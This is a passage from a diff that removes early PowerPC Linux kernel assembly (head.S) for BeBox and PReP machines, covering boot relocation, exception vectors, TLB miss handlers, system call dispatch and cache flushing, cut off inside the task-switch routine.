RETURN_FROM_INT(mark) \ -90: mfmsr r0; /* Disable interrupts */ \ - li r4,0; \ - ori r4,r4,MSR_EE; \ - andc r0,r0,r4; \ - sync; /* Some chip revs need this... */ \ - mtmsr r0; \ - lis r2,intr_count@ha; /* Need to run 'bottom half' */ \ - lwz r3,intr_count@l(r2); \ - cmpi 0,r3,0; \ - bne 00f; \ - lis r4,bh_mask@ha; \ - lwz r4,bh_mask@l(r4); \ - lis r5,bh_active@ha; \ - lwz r5,bh_active@l(r5); \ - and. r4,r4,r5; \ - beq 00f; \ - addi r3,r3,1; \ - stw r3,intr_count@l(r2); \ - bl _EXTERN(_do_bottom_half); \ - lis r2,intr_count@ha; \ - lwz r3,intr_count@l(r2); \ - subi r3,r3,1; \ - stw r3,intr_count@l(r2); \ -00: lwz r2,_MSR(r1); /* Returning to user mode? */ \ - andi. r2,r2,MSR_PR; \ - beq+ 10f; /* no - no need to mess with stack */ \ -/* lis r2,kernel_pages_are_copyback@ha; \ - lwz r2,kernel_pages_are_copyback@l(r2); \ - cmpi 0,r2,0; \ - beq 05f; \ - bl _EXTERN(flush_instruction_cache); */ \ -05: lis r3,current_set@ha; /* need to save kernel stack pointer */ \ - lwz r3,current_set@l(r3); \ - /*addi r4,r1,INT_FRAME_SIZE*/; /* size of frame */ \ - lwz r4, KERNEL_STACK_PAGE(r3); \ - addi r4,r4,KERNEL_STACK_SIZE; /* reset stack pointer to top of stack page */ \ - /* stack isn't 0'd so show_task():sched.c shows highwater of stack */ \ - stw r4,TSS+KSP(r3); \ - lwz r4,STATE(r3); /* If state != 0, can't run */ \ - cmpi 0,r4,0; \ - beq 06f; \ - bl _EXTERN(schedule); \ - b 90b; \ -06: lwz r4,COUNTER(r3); /* Time quantum expired? */ \ - cmpi 0,r4,0; \ - bne 07f; \ - bl _EXTERN(schedule); \ - b 90b; \ -07: lwz r4,BLOCKED(r3); /* Check for pending unblocked signals */ \ - lwz r5,SIGNAL(r3); \ - andc. r0,r5,r4; /* Lets thru any unblocked */ \ - beq 10f; \ - mr r3,r4; \ - mr r4,r1; \ - bl _EXTERN(do_signal); \ -10: lwz r2,_NIP(r1); /* Restore environment */ \ - mtspr SRR0,r2; \ - lwz r2,_MSR(r1); \ - mtspr SRR1,r2; \ - lmw r3,GPR3(r1); \ - lwz r2,_CTR(r1); \ - mtctr r2; \ - lwz r2,_LINK(r1); \ - mtlr r2; \ - lwz r2,_XER(r1); \ - mtspr XER,r2; \ - lfd fr0,FPCSR(r1); \ - mtfsf 0xFF,fr0; \ - RESTORE_FP_REGS(mark) ; \ - lwz r2,_CCR(r1); \ - mtcrf 0xFF,r2; \ - lwz r0,GPR0(r1); \ - lwz r2,GPR2(r1); \ - lwz r1,GPR1(r1); \ - SYNC(); \ - rfi - - -_TEXT() -/* - * This code may be executed by a bootstrap process. If so, the - * purpose is to relocate the loaded image to it's final location - * in memory. - * R3: End of image - * R4: Start of image - 0x400 - * R11: Start of command line string - * R12: End of command line string - * R30: 'BeBx' if this is a BeBox - * - */ - .globl _start - .globl _stext -_stext: -_start: - addi r4,r4,0x400 /* Point at start of image */ - li r5,0 /* Load address */ - subi r4,r4,4 /* Adjust for auto-increment */ - subi r5,r5,4 - subi r3,r3,4 -00: lwzu r0,4(r4) /* Fast move */ - stwu r0,4(r5) - cmp 0,r3,r4 - bne 00b - li r5,0x100 /* Actual code starts here */ - mtlr r5 - blr - -hang: - ori r0,r0,0 - b hang - -/* - * BeBox CPU #1 vector & code - */ -_ORG(0x0080) - .globl BeBox_CPU1_vector -BeBox_CPU1_vector: - .long 0 -BeBox_CPU1_reset: - li r1,BeBox_CPU1_vector@l - li r2,0 - stw r2,0(r1) -00: lwz r2,0(r1) - cmpi 0,r2,0 - bne 10f - li r2,10000 - mtctr r2 -02: nop - bdnz 02b - b 00b -10: mtlr r1 - blr - -_ORG(0x0100) - -/* Hard Reset */ - .globl HardReset -HardReset: - b Reset - -_ORG(0x0200) - b MachineCheck - -_ORG(0x0300) - b DataAccess - -_ORG(0x0400) - b InstructionAccess - -_ORG(0x0500) - b HardwareInterrupt - -_ORG(0x0600) - b Alignment - -_ORG(0x0700) - b ProgramCheck - -_ORG(0x0800) - b FloatingPointCheck - -/* Decrementer register - ignored for now... */ -_ORG(0x0900) -/* TRACE_TRAP(0x900) */ - mtspr SPR0,r1 - lis r1,0x7FFF - ori r1,r1,0xFFFF - mtspr DEC,r1 - mfspr r1,SPR0 -#if 0 - SYNC -#endif - rfi - -_ORG(0x0A00) -DEFAULT_TRAP(0x0A00) -_ORG(0x0B00) -DEFAULT_TRAP(0x0B00) - -/* - * System call - */ -_ORG(0x0C00) - b SystemCall - -_ORG(0x0D00) - b SingleStep - -_ORG(0x0E00) -DEFAULT_TRAP(0x0E00) -_ORG(0x0F00) -DEFAULT_TRAP(0x0F00) - -/* - * Handle TLB Miss on an instruction load - */ -_ORG(0x1000) -/* Note: It is *unsafe* to use the TRACE TRAP macro here since there */ -/* could be a 'trace' in progress when the TLB miss occurs. */ -/* TRACE_TRAP(0x1000) */ - b InstructionTLBMiss - -/* - * Handle TLB Miss on a data item load - */ -_ORG(0x1100) -/* TRACE_TRAP(0x1100) */ - b DataLoadTLBMiss - -/* - * Handle TLB Miss on a store operation - */ -_ORG(0x1200) -/* TRACE_TRAP(0x1200) */ - b DataStoreTLBMiss - -_ORG(0x1300) -InstructionAddressBreakpoint: - DEFAULT_TRAP(0x1300) - -_ORG(0x1400) -SystemManagementInterrupt: - DEFAULT_TRAP(0x1400) - -_ORG(0x1500) - -/* - * This space [buffer] is used to forceably flush the data cache when - * running in copyback mode. This is necessary IFF the data cache could - * contain instructions for which the instruction cache has stale data. - * Since the instruction cache NEVER snoops the data cache, memory must - * be made coherent with the data cache to insure that the instruction - * cache gets a valid instruction stream. Note that this flushing is - * only performed when switching from system to user mode since this is - * the only juncture [as far as the OS goes] where the data cache may - * contain instructions, e.g. after a disk read. - */ -#define NUM_CACHE_LINES 128*4 -#define CACHE_LINE_SIZE 32 -cache_flush_buffer: - .space NUM_CACHE_LINES*CACHE_LINE_SIZE /* CAUTION! these need to match hardware */ - -#if NUM_CACHE_LINES < 512 -_ORG(0x4000) -#endif - - -/* changed to use r3 as residual pointer (as firmware does), that's all -- Cort */ -/* - * Hardware reset [actually from bootstrap] - * Initialize memory management & call secondary init - * Registers initialized by bootstrap: - * R11: Start of command line string - * R12: End of command line string - * R28: Residual data - * R29: Total Memory Size - * R30: 'BeBx' if this is a BeBox - */ -Reset: - lis r7,0xF000 /* To mask upper 4 bits */ -/* set pointer to residual data */ - lis r1,resptr@h - ori r1,r1,resptr@l - andc r1,r1,r7 -/* changed to use r3 as residual pointer (as firmware does) -- Cort */ -/* this is only a ptr, the actual data is copied in mmu_init */ - stw r3,0(r1) - -/* Copy argument string */ - li r0,0 /* Null terminate string */ - stb r0,0(r12) - lis r1,cmd_line@h - ori r1,r1,cmd_line@l - andc r1,r1,r7 /* No MMU yet - need unmapped address */ - subi r1,r1,1 - subi r11,r11,1 -00: lbzu r0,1(r11) - cmpi 0,r0,0 - stbu r0,1(r1) - bne 00b - -#define IS_BE_BOX 0x42654278 /* 'BeBx' */ - lis r1,isBeBox@h - ori r1,r1,isBeBox@l - andc r1,r1,r7 -/* See if this is a CPU other than CPU#1 */ -/* This [currently] happens on the BeBox */ - lwz r2,0(r1) - cmpi 0,r2,0 - bne Reset_BeBox_CPU1 -/* Save machine type indicator */ - li r2,0 - lis r3,IS_BE_BOX>>16 - ori r3,r3,IS_BE_BOX&0xFFFF - cmp 0,r30,r3 - bne 00f - li r2,1 - mr r11,r28 - mr r12,r29 - lis r5,BeBox_CPU1_vector@h - ori r5,r5,BeBox_CPU1_vector@l - andc r5,r5,r7 /* Tell CPU #1 where to go */ -00: stw r2,0(r1) - stw r30,4(r1) - - -#if 0 - lis r1,sys_stack@h - ori r1,r1,sys_stack@l -#else - lis r1,init_kernel_stack@h - ori r1,r1,init_kernel_stack@l -#endif - addi r1,r1,0x1000 /* top of stack */ -#if 0 - li r2,0x0FFF /* Mask stack address down to page boundary */ -#endif - andc r1,r1,r2 - subi r1,r1,INT_FRAME_SIZE /* Padding for first frame */ - li r2,0 /* TOC pointer for nanokernel */ - li r0,MSR_ /* Make sure FPU enabled */ - mtmsr r0 - lis r3,_edata@h /* Clear BSS */ - ori r3,r3,_edata@l - andc r3,r3,r7 /* make unmapped address */ - lis r4,_end@h - ori r4,r4,_end@l - andc r4,r4,r7 /* make unmapped address */ - subi r3,r3,4 - li r0,0 -00: stwu r0,4(r3) - cmp 0,r3,r4 - blt 00b -#if 0 -/* Save total memory size (passed from bootstrap) */ - lis r3,_TotalMemory@h - ori r3,r3,_TotalMemory@l - andc r3,r3,r7 /* make unmapped address */ - stw r29,0(r3) -#endif -/* Initialize BAT registers */ - lis r3,BAT0@h - ori r3,r3,BAT0@l - andc r3,r3,r7 /* make unmapped address */ - lwz r0,0(r3) - mtspr IBAT0U,r0 - mtspr DBAT0U,r0 - lwz r0,4(r3) - mtspr IBAT0L,r0 - mtspr DBAT0L,r0 - lis r3,BAT1@h - ori r3,r3,BAT1@l - andc r3,r3,r7 /* make unmapped address */ - lwz r0,0(r3) - mtspr IBAT1U,r0 - mtspr DBAT1U,r0 - lwz r0,4(r3) - mtspr IBAT1L,r0 - mtspr DBAT1L,r0 -/* this BAT mapping will cover all of kernel space */ -#ifdef NEWMM - lis r3,BAT2@h - ori r3,r3,BAT2@l -#else - lis r3,TMP_BAT2@h - ori r3,r3,TMP_BAT2@l -#endif - andc r3,r3,r7 /* make unmapped address */ - lwz r0,0(r3) - mtspr IBAT2U,r0 - mtspr DBAT2U,r0 - lwz r0,4(r3) - mtspr IBAT2L,r0 - mtspr DBAT2L,r0 -#if 1 - lis r3,BAT3@h - ori r3,r3,BAT3@l - andc r3,r3,r7 /* make unmapped address */ - lwz r0,0(r3) - mtspr IBAT3U,r0 - mtspr DBAT3U,r0 - lwz r0,4(r3) - mtspr IBAT3L,r0 - mtspr DBAT3L,r0 -#endif -/* Now we can turn on the MMU */ - mfmsr r3 - ori r3,r3,MSR_DR|MSR_IR - mtspr SRR1,r3 - lis r3,10f@h - ori r3,r3,10f@l - mtspr SRR0,r3 -DO_RFI_TRACE_UNMAPPED(0xDEAD0000) - SYNC - rfi /* enables MMU */ -10: bl _EXTERN(MMU_init) /* initialize MMU environment */ -DO_RFI_TRACE_MAPPED(0xDEAD0100) -/* Withdraw BAT2->RAM mapping */ - lis r7,0xF000 /* To mask upper 4 bits */ - lis r3,20f@h - ori r3,r3,20f@l - andc r3,r3,r7 /* make unmapped address */ - mtspr SRR0,r3 - mfmsr r3 - li r4,MSR_DR|MSR_IR - andc r3,r3,r4 - mtspr SRR1,r3 - SYNC -DO_RFI_TRACE_MAPPED(0xDEAD0200) - SYNC - rfi -20: - -DO_RFI_TRACE_UNMAPPED(0xDEAD0400) -20: lis r3,BAT2@h - ori r3,r3,BAT2@l - andc r3,r3,r7 /* make unmapped address */ - lwz r0,0(r3) - mtspr IBAT2U,r0 - mtspr DBAT2U,r0 - lwz r0,4(r3) - mtspr IBAT2L,r0 - mtspr DBAT2L,r0 -/* Load up the kernel context */ - lis r2,init_task@h - ori r2,r2,init_task@l - addi r2,r2,TSS - andc r2,r2,r7 /* make unmapped address */ - SYNC /* Force all PTE updates to finish */ - tlbia /* Clear all TLB entries */ - lis r3,_SDR1@h - ori r3,r3,_SDR1@l - andc r3,r3,r7 /* make unmapped address */ - lwz r3,0(r3) - mtspr SDR1,r3 - lwz r0,MMU_SEG0(r2) - mtsr SR0,r0 - lwz r0,MMU_SEG1(r2) - mtsr SR1,r0 - lwz r0,MMU_SEG2(r2) - mtsr SR2,r0 - lwz r0,MMU_SEG3(r2) - mtsr SR3,r0 - lwz r0,MMU_SEG4(r2) - mtsr SR4,r0 - lwz r0,MMU_SEG5(r2) - mtsr SR5,r0 - lwz r0,MMU_SEG6(r2) - mtsr SR6,r0 - lwz r0,MMU_SEG7(r2) - mtsr SR7,r0 - lwz r0,MMU_SEG8(r2) - mtsr SR8,r0 - lwz r0,MMU_SEG9(r2) - mtsr SR9,r0 - lwz r0,MMU_SEG10(r2) - mtsr SR10,r0 - lwz r0,MMU_SEG11(r2) - mtsr SR11,r0 - lwz r0,MMU_SEG12(r2) - mtsr SR12,r0 - lwz r0,MMU_SEG13(r2) - mtsr SR13,r0 - lwz r0,MMU_SEG14(r2) - mtsr SR14,r0 - lwz r0,MMU_SEG15(r2) - mtsr SR15,r0 -/* Now turn on the MMU for real! */ - mfmsr r3 - ori r3,r3,MSR_DR|MSR_IR - mtspr SRR1,r3 - lis r3,30f@h - ori r3,r3,30f@l - mtspr SRR0,r3 -DO_RFI_TRACE_UNMAPPED(0xDEAD0500) - SYNC - rfi /* enables MMU */ -30: -/* Turn on L1 Data Cache */ - mfspr r3,HID0 /* Caches are controlled by this register */ - ori r4,r3,(HID0_ICE|HID0_ICFI) - ori r3,r3,(HID0_ICE) - ori r4,r4,(HID0_DCE|HID0_DCI) - ori r3,r3,(HID0_DCE) - sync - mtspr HID0,r4 - mtspr HID0,r3 -/* L1 cache enable */ - mfspr r2,PVR /* Check for 603/603e */ - srwi r2,r2,16 - cmpi 0,r2,4 /* 604 */ - bne 40f - mfspr r3,HID0 /* Turn on 604 specific features */ - ori r3,r3,(HID0_SIED|HID0_BHTE) - mtspr HID0,r3 -40: b _EXTERN(start_kernel) /* call main code */ - .long 0 # Illegal! - -/* - * BeBox CPU #2 runs here - */ -Reset_BeBox_CPU1: - lis r1,CPU1_stack@h - ori r1,r1,CPU1_stack@l - li r2,0x0FFF /* Mask stack address down to page boundary */ - andc r1,r1,r2 - subi r1,r1,INT_FRAME_SIZE /* Padding for first frame */ - lis r30,CPU1_trace@h - ori r30,r30,CPU1_trace@l - andc r30,r30,r7 - li r5,1 - stw r5,0(r30) - li r2,0 /* TOC pointer for nanokernel */ - li r0,MSR_ /* Make sure FPU enabled */ - mtmsr r0 -/* Initialize BAT registers */ - lis r3,BAT0@h - ori r3,r3,BAT0@l - andc r3,r3,r7 /* make unmapped address */ - lwz r0,0(r3) - mtspr IBAT0U,r0 - mtspr DBAT0U,r0 - lwz r0,4(r3) - mtspr IBAT0L,r0 - mtspr DBAT0L,r0 - lis r3,BAT1@h - ori r3,r3,BAT1@l - andc r3,r3,r7 /* make unmapped address */ - lwz r0,0(r3) - mtspr IBAT1U,r0 - mtspr DBAT1U,r0 - lwz r0,4(r3) - mtspr IBAT1L,r0 - mtspr DBAT1L,r0 - lis r3,TMP_BAT2@h - ori r3,r3,TMP_BAT2@l - andc r3,r3,r7 /* make unmapped address */ - lwz r0,0(r3) - mtspr IBAT2U,r0 - mtspr DBAT2U,r0 - lwz r0,4(r3) - mtspr IBAT2L,r0 - mtspr DBAT2L,r0 -/* Now we can turn on the MMU */ - mfmsr r3 - ori r3,r3,MSR_DR|MSR_IR - mtspr SRR1,r3 - lis r3,10f@h - ori r3,r3,10f@l - mtspr SRR0,r3 - li r5,2 - stw r5,0(r30) - SYNC - rfi /* enables MMU */ -10: - lis r30,CPU1_trace@h - ori r30,r30,CPU1_trace@l - li r5,3 - stw r5,0(r30) - bl _EXTERN(BeBox_CPU1) - -/* - * Machine Check (Bus Errors, etc) - */ -MachineCheck: - TRACE_TRAP(0x0200) - SAVE_INT_REGS(0x0200) - mr r3,r1 /* Set pointer to saved regs */ - bl _EXTERN(MachineCheckException) - RETURN_FROM_INT(0x0200) - -/* - * Data Access exception - */ -DataAccess: - SAVE_INT_REGS(0x0300) -#if 1 - mfspr r3, DAR - mfspr r4, DSISR - li r5, 0 /* not a text fault */ - mr r6, r1 - bl _EXTERN(new_page_fault) -#else - SAVE_PAGE_FAULT_REGS(0x0D00) - mr r3,r1 - bl _EXTERN(DataAccessException) -#endif - RETURN_FROM_INT(0x0300) - -/* - * Instruction Access Exception - */ -InstructionAccess: - SAVE_INT_REGS(0x0400) -#if 1 - mfspr r3, SPR2 /* srr0 was saved here */ - mfspr r4, SPR3 /* srr1 was saved here */ - li r5, 1 /* a text fault */ - mr r6, r1 - bl _EXTERN(new_page_fault) -#else - SAVE_PAGE_FAULT_REGS(0x0D00) - mr r3,r1 - bl _EXTERN(InstructionAccessException) -#endif - RETURN_FROM_INT(0x0400) - -/* - * Hardware Interrupt - */ -HardwareInterrupt: - SAVE_INT_REGS(0x0500) - BUMP(__Hardware_Interrupts) - mr r3,r1 /* Set pointer to saved regs */ - bl _EXTERN(handle_IRQ) - RETURN_FROM_INT(0x0500) - -/* - * Alignment - */ -Alignment: - TRACE_TRAP(0x0600) - SAVE_INT_REGS(0x0600) - mr r3,r1 /* Set pointer to saved regs */ - bl _EXTERN(AlignmentException) - RETURN_FROM_INT(0x0600) - -/* - * Illegal instruction - */ -ProgramCheck: - TRACE_TRAP(0x0700) - SAVE_INT_REGS(0x0700) - mr r3,r1 /* Set pointer to saved regs */ - bl _EXTERN(ProgramCheckException) - RETURN_FROM_INT(0x0700) - -/* - * Single Step Exception - */ -SingleStep: - SAVE_INT_REGS(0x0D00) - SAVE_PAGE_FAULT_REGS(0x0D00) - mr r3,r1 /* Set pointer to saved regs */ - bl _EXTERN(SingleStepException) -#if 0 - bl _EXTERN(flush_instruction_cache) -#endif - RETURN_FROM_INT(0x0D00) - -/* - * Floating point [not available, etc] - */ -FloatingPointCheck: - SAVE_INT_REGS(0x0800) - mr r3,r1 /* Set pointer to saved regs */ - bl _EXTERN(FloatingPointCheckException) - cmpi 0,r3,MSR_FP /* check if fp was turned on by handler */ - bne 00f - RETURN_FROM_INT(0x0f0f) /* 0xf0f tells to restore fp regs */ -00: RETURN_FROM_INT(0x0200) - -/* - * System Call exception - */ -SystemCall: - SAVE_INT_REGS(0x0C00) - lwz r2,_CCR(r1) /* Clear SO bit in CR */ - lis r9,0x1000 - andc r2,r2,r9 - stw r2,_CCR(r1) - cmpi 0,r0,0x7777 /* Special case for 'sys_sigreturn' */ - bne+ 10f - mr r3,r1 - bl _EXTERN(sys_sigreturn) - cmpi 0,r3,0 /* Check for restarted system call */ - bge 99f - b 20f -10: lis r2,current_set@ha - lwz r2,current_set@l(r2) - lwz r2,TASK_FLAGS(r2) - andi. r2,r2,PF_TRACESYS - bne 50f - - lis r2,sys_call_table@h - ori r2,r2,sys_call_table@l - slwi r0,r0,2 - lwzx r2,r2,r0 /* Fetch system call handler [ptr] */ -#if 1 - cmpi 0,r2,0 /* make sure syscall handler not 0 */ - beq 99f - cmpi 0,r0,NR_syscalls<<2 /* make sure syscallnum in bounds */ - bgt 99f -#endif - mtlr r2 - mr r9,r1 - blrl /* Call handler */ - -20: stw r3,RESULT(r1) /* Save result */ - cmpi 0,r3,0 - bge 30f - neg r3,r3 - cmpi 0,r3,ERESTARTNOHAND - bne 22f - li r3,EINTR -22: lwz r2,_CCR(r1) /* Set SO bit in CR */ - oris r2,r2,0x1000 - stw r2,_CCR(r1) -30: stw r3,GPR3(r1) /* Update return value */ - b 99f -/* Traced system call support */ -50: bl _EXTERN(syscall_trace) - lwz r0,GPR0(r1) /* Restore original registers */ - lwz r3,GPR3(r1) - lwz r4,GPR4(r1) - lwz r5,GPR5(r1) - lwz r6,GPR6(r1) - lwz r7,GPR7(r1) - lwz r8,GPR8(r1) - lwz r9,GPR9(r1) - lis r2,sys_call_table@h - ori r2,r2,sys_call_table@l - slwi r0,r0,2 - lwzx r2,r2,r0 /* Fetch system call handler [ptr] */ - mtlr r2 - mr r9,r1 - blrl /* Call handler */ - stw r3,RESULT(r1) /* Save result */ - cmpi 0,r3,0 - bge 60f - neg r3,r3 - cmpi 0,r3,ERESTARTNOHAND - bne 52f - li r3,EINTR -52: lwz r2,_CCR(r1) /* Set SO bit in CR */ - oris r2,r2,0x1000 - stw r2,_CCR(r1) -60: stw r3,GPR3(r1) /* Update return value */ - bl _EXTERN(syscall_trace) -99: - RETURN_FROM_INT(0x0C00) - -/* - * Handle TLB miss for instruction - */ -InstructionTLBMiss: - BUMP_UNMAPPED(__Instruction_TLB_Misses) - mfctr r0 /* Need to save this - CTR can't be touched! */ - mfspr r2,HASH1 /* Get PTE pointer */ - mfspr r3,ICMP /* Partial item compare value */ -00: li r1,8 /* 8 items / bucket */ - mtctr r1 - subi r2,r2,8 /* Preset pointer */ -10: lwzu r1,8(r2) /* Get next PTE */ - cmp 0,r1,r3 /* Found entry yet? */ - bdne 10b /* Jump back if not, until CTR==0 */ - bne 30f /* Try secondary hash if CTR==0 */ - lwz r1,4(r2) /* Get second word of entry */ -#if 0 - andi. r3,r1,0x08 /* Check guard bit - invalid access if set */ - bne InstructionFetchError -#endif - andi. r3,r1,0x100 /* Check R bit (referenced) */ - bne 20f /* If set, all done */ - ori r1,r1,0x100 /* Set bit */ - stw r1,4(r2) /* Update memory image */ -20: mtctr r0 /* Restore CTR */ - mfspr r3,SRR1 /* Need to restore CR0 */ - mtcrf 0x80,r3 - mfspr r0,IMISS /* Set to update TLB */ - mtspr RPA,r1 - tlbli r0 -#if 0 - SYNC -#endif - rfi /* All done */ -/* Secondary hash */ -30: andi. r1,r3,0x40 /* Already doing secondary hash? */ - bne InstructionAddressInvalid /* Yes - item not in hash table */ - mfspr r2,HASH2 /* Get hash table pointer */ - ori r3,r3,0x40 /* Set secondary hash */ - b 00b /* Try lookup again */ - -/* - * Handle TLB miss for DATA Load operation - */ -DataLoadTLBMiss: - mfctr r0 /* Need to save this - CTR can't be touched! */ - mfspr r2,HASH1 /* Get PTE pointer */ - mfspr r3,DCMP /* Partial item compare value */ -00: li r1,8 /* 8 items / bucket */ - mtctr r1 - subi r2,r2,8 /* Preset pointer */ -10: lwzu r1,8(r2) /* Get next PTE */ - cmp 0,r1,r3 /* Found entry yet? */ - bdne 10b /* Jump back if not, until CTR==0 */ - bne 30f /* Try secondary hash if CTR==0 */ - lwz r1,4(r2) /* Get second word of entry */ - andi. r3,r1,0x100 /* Check R bit (referenced) */ - ori r1,r1,0x100 /* Set bit */ - bne 20f /* If set, all done */ - stw r1,4(r2) /* Update memory image */ -20: mtctr r0 /* Restore CTR */ - mfspr r3,SRR1 /* Need to restore CR0 */ - mtcrf 0x80,r3 - mfspr r0,DMISS /* Set to update TLB */ - mtspr RPA,r1 -/* SYNC() */ - tlbld r0 -#if 0 - SYNC -#endif - rfi /* All done */ -/* Secondary hash */ -30: andi. r1,r3,0x40 /* Already doing secondary hash? */ - bne DataAddressInvalid /* Yes - item not in hash table */ - mfspr r2,HASH2 /* Get hash table pointer */ - ori r3,r3,0x40 /* Set secondary hash */ - b 00b /* Try lookup again */ - -/* - * Handle TLB miss for DATA STORE - */ -DataStoreTLBMiss: - BUMP_UNMAPPED(__DataStore_TLB_Misses) - mfctr r0 /* Need to save this - CTR can't be touched! */ - mfspr r2,HASH1 /* Get PTE pointer */ - mfspr r3,DCMP /* Partial item compare value */ -00: li r1,8 /* 8 items / bucket */ - mtctr r1 - subi r2,r2,8 /* Preset pointer */ -10: lwzu r1,8(r2) /* Get next PTE */ - cmp 0,r1,r3 /* Found entry yet? */ - bdne 10b /* Jump back if not, until CTR==0 */ - bne 30f /* Try secondary hash if CTR==0 */ - lwz r1,4(r2) /* Get second word of entry */ - andi. r3,r1,0x80 /* Check C bit (changed) */ -#if 0 /* Note: no validation */ - beq 40f /* If not set (first time) validate access */ -#else - ori r1,r1,0x180 /* Set changed, accessed */ - bne 20f - stw r1,4(r2) -#endif -20: mtctr r0 /* Restore CTR */ - mfspr r3,SRR1 /* Need to restore CR0 */ - mtcrf 0x80,r3 - mfspr r0,DMISS /* Set to update TLB */ - mtspr RPA,r1 - tlbld r0 -#if 0 - SYNC -#endif - rfi /* All done */ -/* Secondary hash */ -30: andi. r1,r3,0x40 /* Already doing secondary hash? */ - bne DataAddressInvalid /* Yes - item not in hash table */ - mfspr r2,HASH2 /* Get hash table pointer */ - ori r3,r3,0x40 /* Set secondary hash */ - b 00b /* Try lookup again */ -/* PTE found - validate access */ -40: rlwinm. r3,r1,30,0,1 /* Extract PP bits */ - bge- 50f /* Jump if PP=0,1 */ - andi. r3,r1,1 - beq+ 70f /* Access OK */ - b WriteProtectError /* Not OK - fail! */ -50: mfspr r3,SRR1 /* Check privilege */ - andi. r3,r3,MSR_PR - beq+ 60f /* Jump if supervisor mode */ - mfspr r3,DMISS /* Get address */ - mfsrin r3,r3 /* Get segment register */ - andis. r3,r3,0x2000 /* If Kp==0, OK */ - beq+ 70f - b WriteProtectError /* Bad access */ -60: mfspr r3,DMISS /* Get address */ - mfsrin r3,r3 /* Get segment register */ - andis. r3,r3,0x4000 /* If Ks==0, OK */ - beq+ 70f - b WriteProtectError /* Bad access */ -70: ori r1,r1,0x180 /* Set changed, accessed */ - stw r1,4(r2) /* Update PTE in memory */ - b 20b - -/* - * These routines are error paths/continuations of the exception - * handlers above. They are placed here to avoid the problems - * of only 0x100 bytes per exception handler. - */ - -/* Invalid address */ -InstructionAddressInvalid: - mfspr r3,SRR1 - rlwinm r1,r3,9,6,6 /* Get load/store bit */ - addis r1,r1,0x4000 /* Set bit 1 -> PTE not found */ - b 10f - -/* Fetch from guarded or no-access page */ -InstructionFetchError: - mfspr r3,SRR1 - rlwinm r1,r3,9,6,6 /* Get load/store bit */ - addis r1,r1,0x0800 /* Set bit 4 -> protection error */ -10: mtspr DSISR,r1 - mtctr r0 /* Restore CTR */ - andi. r2,r3,0xFFFF /* Clear upper bits of SRR1 */ - mtspr SRR1,r2 - mfspr r1,IMISS /* Get failing address */ - rlwinm. r2,r2,0,31,31 /* Check for little endian access */ - beq 20f /* Jump if big endian */ - xori r1,r1,3 -20: mtspr DAR,r1 /* Set fault address */ - mfmsr r0 /* Restore "normal" registers */ - xoris r0,r0,MSR_TGPR>>16 - mtcrf 0x80,r3 /* Restore CR0 */ - ori r0,r0,MSR_FP /* Need to keep FP enabled */ - sync /* Some chip revs have problems here... */ - mtmsr r0 - b InstructionAccess - -/* Invalid address */ -DataAddressInvalid: - mfspr r3,SRR1 - rlwinm r1,r3,9,6,6 /* Get load/store bit */ - addis r1,r1,0x4000 /* Set bit 1 -> PTE not found */ - b 10f - -/* Write to read-only space */ -WriteProtectError: - mfspr r3,SRR1 - rlwinm r1,r3,9,6,6 /* Get load/store bit */ - addis r1,r1,0x0800 /* Set bit 4 -> protection error */ -10: mtspr DSISR,r1 - mtctr r0 /* Restore CTR */ - andi. r2,r3,0xFFFF /* Clear upper bits of SRR1 */ - mtspr SRR1,r2 - mfspr r1,DMISS /* Get failing address */ - rlwinm. r2,r2,0,31,31 /* Check for little endian access */ - beq 20f /* Jump if big endian */ - xori r1,r1,3 -20: mtspr DAR,r1 /* Set fault address */ - mfmsr r0 /* Restore "normal" registers */ - xoris r0,r0,MSR_TGPR>>16 - mtcrf 0x80,r3 /* Restore CR0 */ - ori r0,r0,MSR_FP /* Need to keep FP enabled */ - sync /* Some chip revs have problems here... */ - mtmsr r0 - b DataAccess - -/* - * Flush instruction cache - * *** I'm really paranoid here! - */ -_GLOBAL(flush_instruction_cache) - mflr r5 - bl _EXTERN(flush_data_cache) - mfspr r3,HID0 /* Caches are controlled by this register */ - li r4,0 - ori r4,r4,(HID0_ICE|HID0_ICFI) - or r3,r3,r4 /* Need to enable+invalidate to clear */ - mtspr HID0,r3 - andc r3,r3,r4 - ori r3,r3,HID0_ICE /* Enable cache */ - mtspr HID0,r3 - mtlr r5 - blr - -/* - * Flush data cache - * *** I'm really paranoid here! - */ -_GLOBAL(flush_data_cache) - BUMP(__Cache_Flushes) - lis r3,cache_is_copyback@ha - lwz r3,cache_is_copyback@l(r3) - cmpi 0,r3,0 - beq 10f -/* When DATA CACHE is copy-back */ - lis r3,cache_flush_buffer@h - ori r3,r3,cache_flush_buffer@l - li r4,NUM_CACHE_LINES - mtctr r4 -00: dcbz 0,r3 /* Flush cache line with minimal BUS traffic */ - addi r3,r3,CACHE_LINE_SIZE /* Next line, please */ - bdnz 00b -10: blr - -/* - * Flush a particular page from the DATA cache - * Note: this is necessary because the instruction cache does *not* - * snoop from the data cache. - * void flush_page(void *page) - */ -_GLOBAL(flush_page) - li r4,0x0FFF - andc r3,r3,r4 /* Get page base address */ - li r4,4096/CACHE_LINE_SIZE /* Number of lines in a page */ - mtctr r4 -00: dcbf 0,r3 /* Clear line */ - icbi 0,r3 - addi r3,r3,CACHE_LINE_SIZE - bdnz 00b - blr - -/* - * This routine switches between two different tasks. The process - * state of one is saved on its kernel stack. Then the state - * of the other is restored from its kernel stack. The memory - * management hardware is updated to the second process's state. - * Finally, we can return to the second process, via the 'return'. - * - * Note: there are two ways to get to the "going out" portion - * of this code; either by coming in via the entry (_switch) - * or via "fork" which must set up an environment equivalent - * to the "_switch" path. If you change this (or in particular, the - * SAVE_ALL_REGS macro), you'll have to change the fork code also. - * - * The code which creates the new task context is in 'copy_thread' - * in arch/ppc/kernel/process.c - */ -_GLOBAL(_switch) - mtspr SPR0,r1 /* SAVE_ALL_REGS prologue */ - mtspr SPR1,r2 - mflr r2 /* Return to switch caller */ - mtspr SPR2,r2 - mfmsr r2 - mtspr SPR3,r2 - SAVE_ALL_REGS(0x0FF0) - SAVE_FP_REGS() - CHECK_STACK() - SYNC() - stw r1,KSP(r3) /* Set old stack pointer */ - BUMP(__Context_Switches) - lwz r1,KSP(r4) /* Load new stack pointer */ - lwz r0,MMU_SEG0(r4) - mtsr SR0,r0 - lwz r0,MMU_SEG1(r4) - mtsr SR1,r0 - lwz r0,MMU_SEG2(r4) - mtsr SR2,r0 - lwz r0,MMU_SEG3(r4) - mtsr SR3,r0 - lwz r0,MMU_SEG4(r4) - mtsr SR4,r0 - lwz r0,MMU_SEG5(r4) - mtsr SR5,r0 - lwz r0,MMU_SEG6(r4) - 